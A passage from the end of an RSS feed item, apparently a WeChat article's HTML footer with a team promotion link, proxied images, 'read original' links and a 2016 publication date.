pre-wrap;">。</strong><strong>更多团队动态，尽在www.ms509.com</strong></em></em></section></section></section></section></section></section></section></section><p><br/></p><section class="aimeibian imbselect" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section style="text-align: center; border: 0px solid rgb(0, 0, 0);"><section style="display: inline-block;"><section style="width: 21em; border: 0px solid rgb(0, 0, 0);"><img style="width: auto;" class="" data-type="gif" data-ratio="0.5327380952380952" data-w="336" src="https://wechat2rss.xlab.app/img-proxy/?k=1b0b4184&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIPmdz4nc0ndM0T4dvLW5NpN7vzZs7eUsDzJQ38oWic3ickec4N848AicAvQ%2F0%3Fwx_fmt%3Dgif"/></section><section style="margin-top: -10.5em; margin-left: 0.8em; width: 8em; height: 8em;"><img data-s="300,640" data-type="jpeg" data-w="128" data-ratio="1" src="https://wechat2rss.xlab.app/img-proxy/?k=10c9108b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIP3WSctzWffhLdFjx0W28oHbAQiaqtW7zYu7kGO75vdZZT69TR7iapNpNw%2F0%3Fwx_fmt%3Djpeg"/><br/></section></section></section></section><p><br/></p><p style="line-height: 25.6px;"><br/></p><section class="aimeibian" data-ele="" style="line-height: 25.6px; white-space: normal;"><section class="aimeibian" data-ele="" style="max-width: 100%; border: 0px none; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><p style="max-width: 100%; word-wrap: break-word; font-size: 15.5556px; min-height: 1.5em; line-height: 2em; word-break: normal; border-radius: 5px; color: rgb(255, 255, 255); text-align: center; box-sizing: border-box !important; background-color: rgb(89, 150, 235);"><span style="max-width: 100%; color: inherit; box-sizing: border-box !important; word-wrap: break-word !important;">↓↓↓ 点击&#34;阅读原文&#34; 【查看更多信息】  </span></p></section></section></section>



<p><a href="2650935197">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=36023e47&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAwODgxNTA2NA%3D%3D%26mid%3D2650935197%26idx%3D1%26sn%3Da4ca77cae6fe47af36f873bc8bf59ca3%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 26 Jul 2016 08:42:00 +0800</pubDate>
    </item>
  </channel>
</rss>